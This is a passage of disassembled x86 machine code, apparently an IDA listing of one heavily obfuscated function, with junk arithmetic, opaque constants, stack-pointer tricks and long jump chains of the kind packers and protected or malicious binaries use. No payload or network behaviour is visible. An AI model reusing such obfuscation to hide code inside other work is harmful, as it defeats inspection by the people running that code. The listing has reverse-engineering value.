[esp+10h+var_12+2], edx mov dl, 3Dh push ecx mov ch, dl mov bl, ch mov ecx, [esp+14h+var_16+2] add esp, 4 jmp loc_5931DE ; --------------------------------------------------------------------------- loc_594AFB: ; CODE XREF: sub_57DD3A+15363j push esp mov eax, [esp+3Eh+var_3E] push eax jmp loc_597C0B ; --------------------------------------------------------------------------- loc_594B05: ; CODE XREF: sub_57DD3A+1CFD6j mov cl, dl mov edx, [esp+42h+var_42] jmp loc_59D0E8 ; --------------------------------------------------------------------------- loc_594B0F: ; CODE XREF: sub_57DD3A+178FAj mov ebx, 0A6F859CEh jmp loc_597D30 ; --------------------------------------------------------------------------- loc_594B19: ; CODE XREF: sub_57DD3A+11E90j mov edx, [esp+52h+var_54+2] jmp loc_599E66 ; --------------------------------------------------------------------------- loc_594B21: ; CODE XREF: sub_57DD3A+24202j shr esi, 1 inc esi sub esi, 69D2E54Eh jmp loc_58E601 ; --------------------------------------------------------------------------- loc_594B2F: ; CODE XREF: sub_57DD3A+1524Dj push 5643380Eh mov ebx, [esp+76h+var_78+2] sub esp, 4 jmp loc_5A136F ; --------------------------------------------------------------------------- loc_594B3F: ; CODE XREF: sub_57DD3A+1AE49j and eax, ebp mov ebp, [esp+7Ah+var_7C+2] add esp, 4 shr eax, 12h xor eax, ecx push 6126h mov [esp+7Ah+var_7C+2], eax jmp loc_596B34 ; --------------------------------------------------------------------------- loc_594B59: ; CODE XREF: sub_57DD3A+19DAAj inc edx jmp loc_58F066 ; --------------------------------------------------------------------------- loc_594B5F: ; CODE XREF: sub_57DD3A+18DAAj xchg ebp, [esp+7Ah+var_7C+2] pop esp mov [esp+76h+var_78+2], edi push eax mov eax, esp jmp loc_59B89A ; --------------------------------------------------------------------------- loc_594B6E: ; CODE XREF: sub_57DD3A+17B36j mov ebp, 52064714h jmp loc_591EE3 ; --------------------------------------------------------------------------- loc_594B78: ; CODE XREF: sub_57DD3A+1EDEDj push ebx mov ebx, 5B4553E3h shl ebx, 4 not ebx sub ebx, 0E475AD23h jmp loc_58EFDD ; --------------------------------------------------------------------------- loc_594B8E: ; CODE XREF: sub_57DD3A+1D5ACj push ebp mov ebp, 19B4CEC2h add edi, ebp pop ebp mov esi, edi pop edi shr esi, 7 xor esi, 65AF6A23h jmp loc_59EE88 ; --------------------------------------------------------------------------- loc_594BA8: ; CODE XREF: sub_57DD3A+1FC4Ej mov esp, [esp+7Ah+var_7C+2] jmp loc_598AFF ; --------------------------------------------------------------------------- loc_594BB0: ; CODE XREF: sub_57DD3A+2283Cj sub ecx, 0FFFFFFFFh inc ecx xchg edi, ecx neg edi xchg edi, ecx push edi push eax mov eax, 6E4E3BBBh jmp loc_5A13EC ; --------------------------------------------------------------------------- loc_594BC6: ; CODE XREF: sub_57DD3A+21D85j push esi jmp loc_59D80E ; --------------------------------------------------------------------------- loc_594BCC: ; CODE XREF: sub_57DD3A+11337j sub edi, edx pop edx jmp loc_59FAC4 ; --------------------------------------------------------------------------- loc_594BD4: ; CODE XREF: sub_57DD3A+22476j mov ecx, 0BDDD09F8h add ebp, ecx pop ecx mov edi, ebp mov ebp, [esp+34h+var_36+2] add esp, 4 add esi, edi pop edi and eax, esi jmp loc_5991B7 ; --------------------------------------------------------------------------- loc_594BF1: ; CODE XREF: sub_57DD3A+18ABFj xchg esi, [esp+2Ch+var_2E+2] pop esp mov [esp+28h+var_2A+2], edi push [esp+28h+var_26+2] mov edi, [esp+2Ch+var_2E+2] add esp, 4 pop [esp+28h+var_2A+2] mov esp, [esp+24h+var_26+2] sub esp, 4 mov [esp+28h+var_2A+2], edi sub esp, 4 mov [esp+2Ch+var_2E+2], edx push 2C5F50B1h pop edx and edx, 29BB0863h inc edx push edx not [esp+30h+var_32+2] jmp loc_5995D6 ; --------------------------------------------------------------------------- loc_594C33: ; CODE XREF: sub_57DD3A+1651Dj push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+52h+var_54+2] pop esp jmp loc_5990C0 ; --------------------------------------------------------------------------- loc_594C4B: ; CODE XREF: sub_57DD3A+18F65j mov [esp+4Eh+var_50+2], eax push esp pop eax push 424Ah mov [esp+52h+var_54+2], esi push 4 mov esi, [esp+56h+var_58+2] add esp, 4 add eax, esi pop esi add eax, 4 jmp loc_59BD12 ; --------------------------------------------------------------------------- loc_594C71: ; CODE XREF: sub_57DD3A+1F282j mov ebx, [esp+4Eh+var_50+2] push edx push esp pop edx jmp loc_5A201E ; --------------------------------------------------------------------------- loc_594C7C: ; CODE XREF: sub_57DD3A+16718j neg edx neg edx push ebp mov ebp, 416E077Dh or edx, ebp pop ebp xor edx, 7684744Ch xor edx, 1AB03DD2h add ecx, edx mov edx, [esp+4Eh+var_50+2] add esp, 4 push edx mov edx, 0F9D078Ah add edx, 25E6D07h push eax mov eax, 280142B6h add edx, eax pop eax neg edx inc edx add edx, 6ADFDA56h jmp loc_59BCAF ; --------------------------------------------------------------------------- loc_594CC0: ; CODE XREF: sub_57DD3A+1FAAEj push esi push edi jmp loc_59DFEB ; --------------------------------------------------------------------------- loc_594CC7: ; CODE XREF: sub_57DD3A+2390Ej mov ebp, esp add ebp, 4 jmp loc_59B082 ; --------------------------------------------------------------------------- loc_594CD4: ; CODE XREF: sub_57DD3A+2248Cj push ebp mov ebp, 19DB7951h sub [esp+5Ah+var_58+2], ebp pop ebp jmp loc_592B36 ; --------------------------------------------------------------------------- loc_594CE4: ; CODE XREF: sub_57DD3A+1688Aj pop edx jmp loc_59E204 ; --------------------------------------------------------------------------- loc_594CEA: ; CODE XREF: sub_57DD3A+20190j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+54h+var_54] pop esp jmp loc_59DCF4 ; --------------------------------------------------------------------------- loc_594CFF: ; CODE XREF: sub_57DD3A+1900Cj mov esi, 106619ACh shr esi, 8 jmp loc_594559 ; --------------------------------------------------------------------------- loc_594D0C: ; CODE XREF: sub_57DD3A+13C0Bj pop ecx push esi jmp loc_5936ED ; --------------------------------------------------------------------------- loc_594D13: ; CODE XREF: sub_57DD3A+1FCF0j push esp push [esp+26h+var_26] pop esi add esp, 4 push ebx mov ebx, 0A8A2E12h jmp loc_59C4F3 ; --------------------------------------------------------------------------- loc_594D26: ; CODE XREF: sub_57DD3A+1977Bj push esp pop edi push ebx mov ebx, 4 add edi, ebx jmp loc_5909B2 ; --------------------------------------------------------------------------- loc_594D35: ; CODE XREF: sub_57DD3A+23E1Ej xor edx, 0EEB07A62h jmp loc_59CDA1 ; --------------------------------------------------------------------------- loc_594D40: ; CODE XREF: sub_57DD3A+1880Aj pop ebx sub eax, esi jmp loc_59FE89 ; --------------------------------------------------------------------------- loc_594D48: ; CODE XREF: sub_57DD3A+17058j add ebp, 9471415h add ebp, ebx sub ebp, 9471415h mov ebx, [esp+26h+var_26] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_59906C ; --------------------------------------------------------------------------- loc_594D6D: ; CODE XREF: sub_57DD3A+10E4Aj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+1Ch+var_1E+2] mov esp, [esp+1Ch+var_1E+2] mov [esp+1Ch+var_1E+2], ebx mov ebx, 3746909h push ebp mov ebp, 3746905h sub ebx, ebp pop ebp jmp loc_594D48 ; --------------------------------------------------------------------------- loc_594D97: ; CODE XREF: sub_57DD3A+1B17Bj pop ebp xor ebp, 2C5576F4h sub [esp+18h+var_16+2], 32A44455h add [esp+18h+var_16+2], 0D275E55h sub [esp+18h+var_16+2], 65A57404h sub [esp+18h+var_16+2], 22C377E4h add [esp+18h+var_16+2], ebp jmp loc_594304 ; --------------------------------------------------------------------------- loc_594DC7: ; CODE XREF: sub_57DD3A+20FBFj or esi, edi mov edi, [esp+18h+var_1A+2] add esp, 4 shl esi, 6 jmp loc_59B609 ; --------------------------------------------------------------------------- loc_594DD7: ; CODE XREF: sub_57DD3A+22517j push [esp+14h+var_16+2] jmp loc_599013 ; --------------------------------------------------------------------------- loc_594DDF: ; CODE XREF: sub_57DD3A+1CBE4j push ebx mov ebx, esp add ebx, 4 push eax jmp loc_592605 ; --------------------------------------------------------------------------- loc_594DEE: ; CODE XREF: sub_57DD3A+110E9j mov eax, [esp+26h+var_26] add esp, 4 jmp loc_59FBE8 ; --------------------------------------------------------------------------- loc_594DF9: ; CODE XREF: sub_57DD3A+25312j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_594DFE: ; CODE XREF: sub_57DD3A+12F4Aj push ecx push edi jmp loc_592DC6 ; --------------------------------------------------------------------------- loc_594E05: ; CODE XREF: sub_57DD3A+20211j pop ecx or eax, eax jz loc_59EE3E push 5704h mov [esp+5Ch+var_5C], eax push esi jmp loc_59FB15 ; --------------------------------------------------------------------------- loc_594E1C: ; CODE XREF: sub_57DD3A+23397j push 4350h mov [esp+64h+var_64], esi push ebp mov ebp, 60AB2D16h sub ebp, 36D84308h jmp loc_59BD1A ; --------------------------------------------------------------------------- loc_594E35: ; CODE XREF: sub_57DD3A+123D1j mov [esp+3Eh+var_3E], edi mov edi, esp push ecx mov ecx, 51E549D8h shl ecx, 5 jmp loc_5A1385 ; --------------------------------------------------------------------------- loc_594E48: ; CODE XREF: sub_57DD3A+181EAj push ecx mov cl, 0B9h mov ah, 90h add ah, cl pop ecx not ah jmp loc_59B768 ; --------------------------------------------------------------------------- loc_594E57: ; CODE XREF: sub_57DD3A+22F69j sub eax, 19253290h dec eax sub esp, 4 mov [esp+46h+var_46], edx mov edx, 5926610Fh push eax mov eax, 0F34672Bh jmp loc_58F76E ; --------------------------------------------------------------------------- loc_594E76: ; CODE XREF: sub_57DD3A+20685j pop ecx jmp loc_59A448 ; --------------------------------------------------------------------------- loc_594E7C: ; CODE XREF: sub_57DD3A+1CD2Ej add esp, 4 xor edi, 42BA720Ah push 75DFh mov [esp+46h+var_46], edi sub esp, 4 jmp loc_58EF98 ; --------------------------------------------------------------------------- loc_594E98: ; DATA XREF: sub_57DD3A+10516o push dword ptr [edx] jmp loc_5A1209 ; --------------------------------------------------------------------------- loc_594E9F: ; CODE XREF: sub_57DD3A+1F63Dj add eax, edi jmp loc_592543 ; --------------------------------------------------------------------------- loc_594EA6: ; CODE XREF: sub_57DD3A+23CC8j pop ebx xchg ebp, [esp+4Ah+var_4C+2] pop esp jmp loc_5924B6 ; --------------------------------------------------------------------------- loc_594EB0: ; CODE XREF: sub_57DD3A+2061Bj mov edx, [esp+46h+var_46] sub esp, 4 mov [esp+4Ah+var_4C+2], ebp mov ebp, esp add ebp, 4 jmp loc_591546 ; --------------------------------------------------------------------------- loc_594EC9: ; CODE XREF: sub_57DD3A+23958j dec ecx sub esp, 4 mov [esp+4Eh+var_50+2], esi mov esi, 38901896h or ecx, esi pop esi not ecx add ecx, 3BDB1AE3h push ecx pop eax pop ecx jmp loc_5995A9 ; --------------------------------------------------------------------------- loc_594EEB: ; CODE XREF: sub_57DD3A+1E6AFj push 11B245AAh mov ecx, [esp+4Ah+var_4C+2] push edx mov edx, esp jmp loc_5A1F69 ; --------------------------------------------------------------------------- loc_594EFB: ; CODE XREF: sub_57DD3A+1E0BEj xor ebp, 43DB1100h add eax, ebp pop ebp add eax, 4 xor eax, [esp+4Ah+var_4C+2] xor [esp+4Ah+var_4C+2], eax xor eax, [esp+4Ah+var_4C+2] mov esp, [esp+4Ah+var_4C+2] push ebx mov ebx, 4 add eax, 2C793CACh add eax, ebx jmp loc_5934C8 ; --------------------------------------------------------------------------- loc_594F25: ; CODE XREF: sub_57DD3A+20E39j mov esi, 339F5969h jmp loc_59A4FF ; --------------------------------------------------------------------------- loc_594F2F: ; CODE XREF: sub_57DD3A+12E97j shr esi, 5 dec esi shr esi, 4 jmp loc_595FC0 ; --------------------------------------------------------------------------- loc_594F3B: ; CODE XREF: sub_57DD3A+24366j sub eax, ecx push ecx jmp loc_59534E ; --------------------------------------------------------------------------- loc_594F43: ; CODE XREF: sub_57DD3A+24E6Fj dec esi jmp loc_590F42 ; --------------------------------------------------------------------------- loc_594F49: ; CODE XREF: sub_57DD3A+1C508j mov [esp+60h+var_60], ebp pop ebx push [esp+5Ch+var_5C] pop ebp push eax jmp loc_591193 ; --------------------------------------------------------------------------- loc_594F57: ; CODE XREF: sub_57DD3A+1EE15j or edi, 11505075h xor edi, 14CB697Dh xor edi, 96A0F9Ah push ebx push ecx mov ecx, 5EBC0520h and ecx, 20E93C2Ch not ecx jmp loc_5A1227 ; --------------------------------------------------------------------------- loc_594F7D: ; CODE XREF: sub_57DD3A+21F58j add ebp, eax jmp loc_59A568 ; --------------------------------------------------------------------------- loc_594F84: ; CODE XREF: sub_57DD3A+15820j mov edx, 0C1B12381h sub eax, edx pop edx xor edi, eax pop eax jmp loc_5A319B ; --------------------------------------------------------------------------- loc_594F94: ; CODE XREF: sub_57DD3A+2083Aj pop eax pop [esp+8+var_8] pop esp jmp loc_5A057B ; --------------------------------------------------------------------------- loc_594F9E: ; CODE XREF: sub_57DD3A+24EA9j mov ecx, esp push edi mov edi, 2FFF5891h jmp loc_58EF47 ; --------------------------------------------------------------------------- loc_594FAB: ; CODE XREF: sub_57DD3A+1D10Ej mov cx, word ptr [esp+4+var_4] jmp loc_5935AE ; --------------------------------------------------------------------------- loc_594FB4: ; CODE XREF: sub_57DD3A+11F79j inc bl xor bl, 17h mov ch, bl pop ebx xor ch, bh pop ebx jmp loc_5983C9 ; --------------------------------------------------------------------------- loc_594FC4: ; CODE XREF: sub_57DD3A+1F529j add cl, 0C9h shl cl, 4 xor cl, 9Eh xor cl, 80h push edx mov dh, cl mov ah, dh pop edx mov ecx, [esp+0] sub esp, 4 mov [esp+4+var_4], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+4+var_4] pop esp push ebx mov bl, ah mov dl, bl jmp loc_593A22 ; --------------------------------------------------------------------------- loc_594FFE: ; CODE XREF: sub_57DD3A+186CDj mov edx, 4F5F529Ah sub eax, edx mov edx, [esp+4+var_4] jmp loc_58FFE1 ; --------------------------------------------------------------------------- loc_59500D: ; CODE XREF: sub_57DD3A+18D8Cj mov dx, word ptr [esp+4+var_4] add esp, 2 mov bx, [esp+0] push esi mov esi, esp add esi, 4 jmp loc_5A16C2 ; --------------------------------------------------------------------------- loc_595029: ; CODE XREF: sub_57DD3A+10840j mov ecx, edx pop edx add ecx, 59710694h jmp loc_59B0A8 ; --------------------------------------------------------------------------- loc_595037: ; CODE XREF: sub_57DD3A+2181Cj push esp mov ebp, [esp+18h+var_1A+2] jmp loc_5930C6 ; --------------------------------------------------------------------------- loc_595040: ; CODE XREF: sub_57DD3A+1BD60j mov ebx, ebp pop ebp sub esp, 4 mov [esp+18h+var_1A+2], eax mov eax, 388A2611h neg eax shl eax, 2 inc eax shr eax, 2 shr eax, 3 add eax, 0DED11AD7h add ebx, eax pop eax push 16D3h mov [esp+18h+var_1A+2], ebx mov ebx, 72232B13h sub eax, ebx pop ebx add eax, ebx jmp loc_596EC4 ; --------------------------------------------------------------------------- loc_59507C: ; CODE XREF: sub_57DD3A+184E3j mov edi, 519BD1CEh add ecx, 64A0755Ch sub ecx, 55135673h jmp loc_5963BC ; --------------------------------------------------------------------------- loc_595092: ; CODE XREF: sub_57DD3A+117A1j push esi mov esi, 7CA55DEDh sub ebp, esi pop esi and ebp, 49EC77FDh jmp loc_5983BA ; --------------------------------------------------------------------------- loc_5950A6: ; CODE XREF: sub_57DD3A+209DCj not edi push eax jmp loc_5969EF ; --------------------------------------------------------------------------- loc_5950AE: ; CODE XREF: sub_57DD3A+1444Bj xor si, 4C7h push bp mov bp, 7DFCh add si, bp jmp loc_59B0D0 ; --------------------------------------------------------------------------- loc_5950C1: ; CODE XREF: sub_57DD3A+14EFBj mov [esp+22h+var_22], eax push edx mov edx, 49D40B1Ah mov eax, edx pop edx not eax and eax, 0ADD40A9h push esi mov esi, 74BC0113h sub esi, 0FFFFFFFFh add esi, 1 push ebx mov ebx, 133906C5h jmp loc_59AC05 ; --------------------------------------------------------------------------- loc_5950EE: ; CODE XREF: sub_57DD3A+12181j add edi, 4 sub esp, 4 mov [esp+50h+var_50], ecx push ebx jmp loc_59B6AB ; --------------------------------------------------------------------------- loc_595100: ; CODE XREF: sub_57DD3A+248A9j xchg dl, ch push 4134h mov [esp+58h+var_58], eax mov ah, 0F3h push 0 jmp loc_5A091C ; --------------------------------------------------------------------------- loc_595116: ; CODE XREF: sub_57DD3A+1CF5Bj sub ebp, 3674652Ah pop esi push ebx mov ebx, 0 sub ebx, ebp push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 sub ebx, ebp pop ebp jmp loc_59B725 ; --------------------------------------------------------------------------- loc_59513C: ; CODE XREF: sub_57DD3A+1E097j push [esp+60h+var_60] mov ecx, [esp+64h+var_64] add esp, 4 add esp, 4 mov edx, [esp+5Ch+var_5C] jmp loc_59C643 ; --------------------------------------------------------------------------- loc_595150: ; CODE XREF: sub_57DD3A+18DC9j add ebp, 4CFA2DE7h add ebp, ebx sub ebp, 4CFA2DE7h mov ebx, [esp+5Ch+var_5C] push edi jmp loc_59F480 ; --------------------------------------------------------------------------- loc_595167: ; CODE XREF: sub_57DD3A+1FDFDj pop esi jmp loc_590FB2 ; --------------------------------------------------------------------------- loc_59516D: ; CODE XREF: sub_57DD3A+1A287j add [esp+5Ch+var_5C], 4 pop eax add eax, 4 push 22AAh mov [esp+5Ch+var_5C], edi sub esp, 4 mov [esp+60h+var_60], esi mov esi, 51BE04B3h mov edi, esi pop esi add edi, 44F53077h and edi, 52600F9Dh add edi, 0FFFFFFFFh push ebp mov ebp, 12200503h xor edi, ebp mov ebp, [esp+60h+var_60] add esp, 4 jmp loc_592EA5 ; --------------------------------------------------------------------------- loc_5951BB: ; CODE XREF: sub_57DD3A+2455Cj shr esi, 8 jmp loc_5907E3 ; --------------------------------------------------------------------------- loc_5951C3: ; CODE XREF: sub_57DD3A+23769j sub esp, 4 mov [esp+60h+var_60], esp add [esp+60h+var_60], 4 pop eax jmp loc_5960B3 ; --------------------------------------------------------------------------- loc_5951D6: ; CODE XREF: sub_57DD3A+1F3DAj pop ebx xor [esp+58h+var_58], ebx xor ebx, [esp+58h+var_58] jmp loc_591344 ; --------------------------------------------------------------------------- loc_5951E2: ; CODE XREF: sub_57DD3A+1DD3Aj pop esi push eax pop ebx mov eax, [esp+54h+var_54] add esp, 4 jmp loc_5A0F22 ; --------------------------------------------------------------------------- loc_5951F3: ; CODE XREF: sub_57DD3A+1C657j pop edi push 22E5h mov [esp+50h+var_50], esi jmp loc_5971A9 ; --------------------------------------------------------------------------- loc_595201: ; CODE XREF: sub_57DD3A+1251Cj push edi mov edi, esp add edi, 4 jmp loc_598179 ; --------------------------------------------------------------------------- loc_59520F: ; CODE XREF: sub_57DD3A+1D078j pop ebp add edi, 4B0261D4h jmp loc_595661 ; --------------------------------------------------------------------------- loc_59521B: ; CODE XREF: sub_57DD3A+2473Aj xchg ecx, [esp+32h+var_32] pop esp push 41ECh mov [esp+32h+var_32], ebp push edx push 1CF40E1Fh mov edx, [esp+3Ah+var_3A] add esp, 4 xor edx, 571A0C58h push esi mov esi, 65381F7Dh add esi, 0FE33F1Dh jmp loc_5953EB ; --------------------------------------------------------------------------- loc_59524D: ; CODE XREF: sub_57DD3A+22311j xor ecx, 93EB9947h mov ebp, ecx jmp loc_595632 ; --------------------------------------------------------------------------- loc_59525A: ; CODE XREF: sub_57DD3A+16437j add ebp, ebx pop ebx xchg ebp, [esp+4Eh+var_50+2] mov esp, [esp+4Eh+var_50+2] imul cx push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_59412A ; --------------------------------------------------------------------------- loc_595276: ; CODE XREF: sub_57DD3A+11812j add edx, 0ADC72F9h add edx, ebx jmp loc_5A07D9 ; --------------------------------------------------------------------------- loc_595283: ; CODE XREF: sub_57DD3A+1BCA5j mov eax, [esp+5Ch+var_5C] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+60h+var_60] pop esp push ecx jmp loc_59879C ; --------------------------------------------------------------------------- loc_59529F: ; CODE XREF: sub_57DD3A+1C912j pop esi sub esp, 4 mov [esp+60h+var_60], edi mov edi, 38D65855h xor ebp, edi jmp loc_596D3A ; --------------------------------------------------------------------------- loc_5952B5: ; CODE XREF: sub_57DD3A+1C896j add ebx, 4 xor ebx, [esp+60h+var_60] xor [esp+60h+var_60], ebx xor ebx, [esp+60h+var_60] pop esp pop esi jmp loc_59820C ; --------------------------------------------------------------------------- loc_5952C8: ; CODE XREF: sub_57DD3A+161B2j pop ebp add esp, 4 jmp loc_590BCB ; --------------------------------------------------------------------------- loc_5952D4: ; CODE XREF: sub_57DD3A+12A14j add ecx, 254CE32Fh neg ecx neg ecx xor ecx, 25D7693Ah add esi, ecx jmp loc_59F394 ; --------------------------------------------------------------------------- loc_5952EB: ; CODE XREF: sub_57DD3A+14247j push edi mov edi, 44EC05E6h add [esp+12h+var_E], edi pop edi pop edi jmp loc_5A0F41 ; --------------------------------------------------------------------------- loc_5952FC: ; CODE XREF: sub_57DD3A+13246j push ebx push esp jmp loc_5A20B0 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp+64h+var_64], esi push ebx jmp loc_592B74 ; --------------------------------------------------------------------------- loc_595310: ; CODE XREF: sub_57DD3A+1C045j mov ebp, ebx pop ebx add ebp, 0AD93886Ch add eax, 6BB4063Ah add eax, ebp sub eax, 6BB4063Ah pop ebp xchg eax, [esp+60h+var_60] mov esp, [esp+60h+var_60] push 759Fh mov [esp+64h+var_64], ebx jmp loc_5957F2 ; --------------------------------------------------------------------------- loc_595339: ; CODE XREF: sub_57DD3A+2219Cj pop esp push [esp+60h+var_60] push [esp+64h+var_64] mov ecx, [esp+68h+var_68] add esp, 4 jmp loc_59E152 ; --------------------------------------------------------------------------- loc_59534E: ; CODE XREF: sub_57DD3A+17204j mov ecx, 7FC776EAh xor ecx, 16F76CE6h sub eax, ecx pop ecx mov ecx, [esp+5Ch+var_5C] add esp, 4 add eax, 75DD1012h add eax, edx sub eax, 75DD1012h sub esp, 4 mov [esp+5Ch+var_5C], ebp mov ebp, 151747C2h jmp loc_592CE3 ; --------------------------------------------------------------------------- loc_595381: ; CODE XREF: sub_57DD3A+1FA99j mov esi, [esp+5Ch+var_5C] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+60h+var_60] pop esp xor edi, [esp+5Ch+var_5C] jmp loc_593B99 ; --------------------------------------------------------------------------- loc_59539C: ; CODE XREF: sub_57DD3A+242C8j sub ecx, ebp pop ebp jmp loc_59EB03 ; --------------------------------------------------------------------------- loc_5953A4: ; CODE XREF: sub_57DD3A+230CBj push ebp mov ebp, 4 jmp loc_596BA4 ; --------------------------------------------------------------------------- loc_5953AF: ; CODE XREF: sub_57DD3A+24FE5j push [esp+5Ch+var_5C] pop edi jmp loc_5A2596 ; --------------------------------------------------------------------------- loc_5953B8: ; CODE XREF: sub_57DD3A+1BBD8j inc ebp sub ebp, 0C176394Ch add eax, ebp pop ebp add eax, 5E6F09E5h add eax, ecx jmp loc_59EC1A ; --------------------------------------------------------------------------- loc_5953CE: ; CODE XREF: sub_57DD3A+1CC37j mov ebp, [esp+58h+var_58] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+5Ch+var_5C] pop esp mov eax, ebp push [esp+58h+var_58] jmp loc_59170A ; --------------------------------------------------------------------------- loc_5953EB: ; CODE XREF: sub_57DD3A+1750Ej sub esi, 7B7F6544h sub esi, 2B1F6067h xor esi, 975B9ED5h and edx, esi jmp loc_59CBC5 ; --------------------------------------------------------------------------- loc_595404: ; CODE XREF: sub_57DD3A+12498j add ebx, edi sub ebx, 40AB0079h pop edi xor ebx, [esp+36h+var_36] xor [esp+36h+var_36], ebx xor ebx, [esp+36h+var_36] mov esp, [esp+36h+var_36] jmp loc_5961F9 ; --------------------------------------------------------------------------- loc_59541E: ; CODE XREF: sub_57DD3A+232F7j pop edx sub eax, 4 xchg eax, [esp+32h+var_32] mov esp, [esp+32h+var_32] mov [esp+32h+var_32], esi mov esi, esp push edi mov edi, 4 jmp loc_598FDC ; --------------------------------------------------------------------------- loc_59543A: ; CODE XREF: sub_57DD3A+1170Ej push edi mov edi, 67A17329h jmp loc_59EE14 ; --------------------------------------------------------------------------- loc_595445: ; CODE XREF: sub_57DD3A+1802Dj inc bh not bh push 0 sub byte ptr [esp+50h+var_50], bh mov bh, byte ptr [esp+50h+var_50] add esp, 4 jmp loc_595E7F ; --------------------------------------------------------------------------- aN_uacWsWcmrFN1 db '-_UAc)ØWS»WcŒr¿(FÅn1ß[h-(',0 ; DATA XREF: sub_57DD3A+103DAo align 4 jmp loc_58FA4D ; --------------------------------------------------------------------------- loc_59547D: ; CODE XREF: sub_57DD3A+13659j shl esi, 7 add esi, 0D055A104h add edx, esi jmp loc_59278B ; --------------------------------------------------------------------------- loc_59548D: ; CODE XREF: sub_57DD3A+1AE3Bj pop ecx add esi, 6856A453h mov edx, esi jmp loc_5A2972 ; --------------------------------------------------------------------------- loc_59549B: ; CODE XREF: sub_57DD3A+205EBj pop ebx dec eax and eax, 48701FE4h sub eax, 55751811h add eax, 15050EB3h jmp loc_598513 ; --------------------------------------------------------------------------- loc_5954B1: ; CODE XREF: sub_57DD3A+1BAB0j push eax mov al, bl push ebx mov bh, al mov cl, bh pop ebx mov eax, [esp+46h+var_46] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5A2140 ; --------------------------------------------------------------------------- loc_5954CE: ; CODE XREF: sub_57DD3A+182DBj add ebp, 4 add ebp, 4 xchg ebp, [esp+4Ah+var_4C+2] pop esp push ebx mov bl, 35h or dh, bl pop ebx push ax jmp loc_592C8D ; --------------------------------------------------------------------------- loc_5954EB: ; CODE XREF: sub_57DD3A+20B0Cj shl ebp, 3 jmp loc_5931C5 ; --------------------------------------------------------------------------- loc_5954F3: ; CODE XREF: sub_57DD3A+21F2Dj not esi sub esi, 46299EDh xor edx, esi pop esi sub ecx, edx pop edx jmp loc_5985CF ; --------------------------------------------------------------------------- loc_595506: ; CODE XREF: sub_57DD3A+21B4Bj mov ebp, esp push ecx push esi mov esi, 5B623843h push 5B623847h jmp loc_5A160B ; --------------------------------------------------------------------------- loc_595519: ; CODE XREF: sub_57DD3A+1C21Ej pop eax jmp loc_5979B2 ; --------------------------------------------------------------------------- loc_59551F: ; CODE XREF: sub_57DD3A+21E36j sub eax, 43AC6E58h jmp loc_59DD94 ; --------------------------------------------------------------------------- loc_595529: ; CODE XREF: sub_57DD3A+1EA65j sub esi, ebx sub esi, 121957DCh jmp loc_5A26D7 ; --------------------------------------------------------------------------- loc_595536: ; CODE XREF: sub_57DD3A+1906Dj mov [esp+0], ebx jmp loc_59DB62 ; --------------------------------------------------------------------------- loc_59553E: ; CODE XREF: sub_57DD3A+129FCj mov esp, [esp+1Ah+var_1A] push edx mov edx, 40h add edx, edi mov [edx], ebx pop edx pop ebx pop edx jmp loc_599EEE ; --------------------------------------------------------------------------- loc_595553: ; CODE XREF: sub_57DD3A+15AF6j pop ebx add edx, edi mov edi, [esp+54h+var_54] add esp, 4 push 89Fh jmp loc_59B749 ; --------------------------------------------------------------------------- loc_595569: ; CODE XREF: sub_57DD3A+24E85j mov dl, ah mov cl, dl pop edx jmp loc_5997C5 ; --------------------------------------------------------------------------- loc_595573: ; CODE XREF: sub_57DD3A+24C33j mov [esp+50h+var_50], ebp push esp pop ebp push ecx mov ecx, 0B947445h xor ecx, 60B35F8Eh jmp loc_58F2B0 ; --------------------------------------------------------------------------- loc_595589: ; CODE XREF: sub_57DD3A+23AAAj pop ebp push 442Ah mov [esp+54h+var_54], eax mov eax, 428C0A95h add eax, 1C2E1428h jmp loc_59C4CD ; --------------------------------------------------------------------------- loc_5955A1: ; CODE XREF: sub_57DD3A+20C10j add esp, 4 push esi jmp loc_58F1CF ; --------------------------------------------------------------------------- loc_5955AA: ; CODE XREF: sub_57DD3A+1794Ej pop esi push edi mov edi, 53205F19h xor esi, edi jmp loc_591C80 ; --------------------------------------------------------------------------- loc_5955B8: ; CODE XREF: sub_57DD3A+18101j xor ebx, 5FF7B66h push esi mov esi, 56014C85h jmp loc_59C89C ; --------------------------------------------------------------------------- loc_5955C9: ; CODE XREF: sub_57DD3A+242F0j xchg edx, [esp+58h+var_58] pop esp mov edx, [esp+54h+var_54] add esp, 4 add al, ch mov ecx, [esp+50h+var_50] add esp, 4 sub esp, 4 mov [esp+50h+var_50], edx push 0C4Eh mov [esp+54h+var_54], ebx jmp loc_5A24EE ; --------------------------------------------------------------------------- loc_5955F7: ; CODE XREF: sub_57DD3A+18798j dec dh not dh sub esp, 4 mov [esp+58h+var_58], eax mov ah, 0C9h sub ah, 2Fh inc ah jmp loc_58F4B7 ; --------------------------------------------------------------------------- loc_595610: ; CODE XREF: sub_57DD3A+1653Cj pop ebp xor ebp, 1FA879CAh jmp loc_5948C0 ; --------------------------------------------------------------------------- loc_59561C: ; CODE XREF: sub_57DD3A+1B1E3j xor edx, [esp+1Eh+var_1E] xor [esp+1Eh+var_1E], edx xor edx, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] push 2A01h jmp loc_59B4EE ; --------------------------------------------------------------------------- loc_595632: ; CODE XREF: sub_57DD3A+1751Bj pop ecx push ebx jmp loc_594B0F ; --------------------------------------------------------------------------- loc_595639: ; CODE XREF: sub_57DD3A+1E423j add esp, 4 push 1D0Ch mov [esp+3Ah+var_3A], edi mov edi, esp push edx push eax mov eax, 4 mov edx, eax pop eax jmp loc_5A2933 ; --------------------------------------------------------------------------- loc_595658: ; CODE XREF: sub_57DD3A+19401j dec edi sub edi, 0FFFFFFFFh jmp loc_5A244A ; --------------------------------------------------------------------------- loc_595661: ; CODE XREF: 